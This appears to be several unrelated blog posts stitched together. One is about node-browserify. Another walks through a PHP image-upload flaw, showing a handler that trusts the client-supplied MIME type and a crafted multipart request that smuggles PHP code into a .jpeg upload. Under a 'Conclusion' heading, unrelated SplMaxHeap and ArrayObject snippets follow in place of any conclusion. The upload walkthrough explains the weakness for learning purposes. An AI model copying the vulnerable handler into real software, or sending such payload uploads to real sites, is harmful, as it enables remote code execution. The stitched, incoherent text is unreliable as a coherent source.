
Yep. This is The Relativity.
Unifying your front-end and back-end codebases can be a harrowing experience. Regardless of your web technology stack of choice, you’ve probably created some server-side component which generated some front-end JavaScript for you at some point. I’ve created and used many tools that do such code generation, and I’ve hated all of them. This is why I’m soo excited to see node-browserify by prolific Node.js module author, James Halliday.
browserify is a node.js library which helps you share your back-end code to the front-end by enabling such features as:
- a client-side require() method
- being able to load
npmpackages- a middleware system for code generation:
- minify
- uglify
- ES5 compatibility
- fileify ( wrap static files or directories in JavaScript methods )
- a CLI tool for creating stand-alone bundles
- full integration with node’s httpServer and Express
- browser-versions of certain core node modules such as
path,events, andvmBrowserify does a great job of simplifying the process of sharing code between the browser and server by building on top of existing infrastructure and providing some great new features that play very nice with node.js
I needed to build a library that would operate dual-sided ( front-end and back-end ), and I choose to build it server-side first and then use the browserify CLI tool to port it to the client ( and work as a standalone with no server dependencies ). The entire process worked out much better then expected and I’d recommend trying it out for your next JavaScript project.
If you’d like to see an example of node-browserify in production, you can check out Browserling, Mr. Halliday’s very own company which allows you to test websites cross-browser, in your own browser! I can only imagine what crazy libraries SubStack will think up next.

Some days ago I saw a vulnerable website. ImageShare site of my friend. I don't use websites like this. I just checked it and I found a bug. After my discovery, I looked into that matter. That was deeper than I thought.
A simple upload form on client-side:
<h1>Upload a new image</h1> <form action='?menu=upload' method='post' enctype='multipart/form-data'> <input name='my_str' type='text' value='TestString' /> <input name='my_file' type='file' /> <input type='submit' value='Send'> </form>
And the handler on server-side:
<?php
if(isset($_FILES) && array_key_exists('my_file', $_FILES)) {
if (strtolower($_FILES['my_file']['type']) === 'image/jpeg') {
$name = 'testfiles/'.time().'_'.md5($_FILES['my_file']['name']).'.jpeg';
move_uploaded_file($_FILES['my_file']['tmp_name'], $name);
echo "<a href='{$name}'>{$name}</a> uploaded...";
} else {
echo 'only jpeg!';
}
} else {
echo 'Upload error!';
}
Ok... What exactly happened?
Client:
Server:
Where is the bug?
What do you think, is the MIME-type filled up by the server? Or is it sent by the client? Yes, of course it is sent by the client =) Are you surprised? Client(?) sends the content, name and type of the file. Client or Attacker...
What is a request to upload files like?
POST /php_upload_vul/upload.php HTTP/1.1
Host: www.target_domain.tld
Origin: hxxp://www.target_domain.tld
Content-Length: {CONTENT_LENGTH_OF_THE_REQUEST}
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytdQDXALfOP7FtIa6
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Referer: hxxp://www.target_domain.tld/php_upload_vul/index.php
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: keep-alive
------WebKitFormBoundarytdQDXALfOP7FtIa6
Content-Disposition: form-data; name="my_str"
This is the value of the `my_str` input field
------WebKitFormBoundarytdQDXALfOP7FtIa6
Content-Disposition: form-data; name="my_file"; filename="Name of the file.jpeg"
Content-Type: image/jpeg
{CONTENT_OF_THE_FILE}
------WebKitFormBoundarytdQDXALfOP7FtIa6--
What does an attacker do?
POST /php_upload_vul/upload.php HTTP/1.1
Host: www.target_domain.tld
Origin: hxxp://www.target_domain.tld
Content-Length: {CONTENT_LENGTH_OF_THE_REQUEST}
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytdQDXALfOP7FtIa6
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Referer: hxxp://www.target_domain.tld/php_upload_vul/index.php
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: keep-alive
------WebKitFormBoundarytdQDXALfOP7FtIa6
Content-Disposition: form-data; name="my_str"
Photo about my ass
------WebKitFormBoundarytdQDXALfOP7FtIa6
Content-Disposition: form-data; name="my_file"; filename="very_funny_photo.jpeg"
Content-Type: image/jpeg
<?php phpinfo(); /* or some evil code */ ?>
------WebKitFormBoundarytdQDXALfOP7FtIa6--
Yes... You can put a php code into the content of the file if you want. Now if I am able to make the system to require this file... I will be the puppet master.
Conclusion
<?php
class MyListHeap extends SplMaxHeap {
public function compare( $value1, $value2 ) {
return ( $value1['created_at'] - $value2['created_at'] );
}
}
$list = new MyListHeap;
$list->insert(array('user_id' => 1, 'created_at' => time()-2000));
$list->insert(array('user_id' => 2, 'created_at' => time()-1000));
$list->insert(array('user_id' => 3, 'created_at' => time()-5000));
foreach($list as $l) {
echo "{$l['user_id']}:{$l['created_at']}\n";
}
And the output will be:
2:1309908000 1:1309907000 3:1309904000
Read more: http://hu2.php.net/splmaxheap
to my friend with lots of love
<?php
class MyArray extends ArrayObject {
public function __construct($array = array()){
parent::__construct($array, ArrayObject::ARRAY_AS_PROPS);
}
public function get_property_string($sep = ':') {
return implode($sep, $this->getArrayCopy());
}
public function __ToString() {
return 'Array';
}
/* some custom method */
}
$rights = new MyArray;
$rights->append('LOGIN');
$rights->append('BETA_ACCESS');
$rights->append('WRITE_COMMENT');
var_dump($rights->get_property_string());
And the output will be:
string(31) "LOGIN:BETA_ACCESS:WRITE_COMMENT"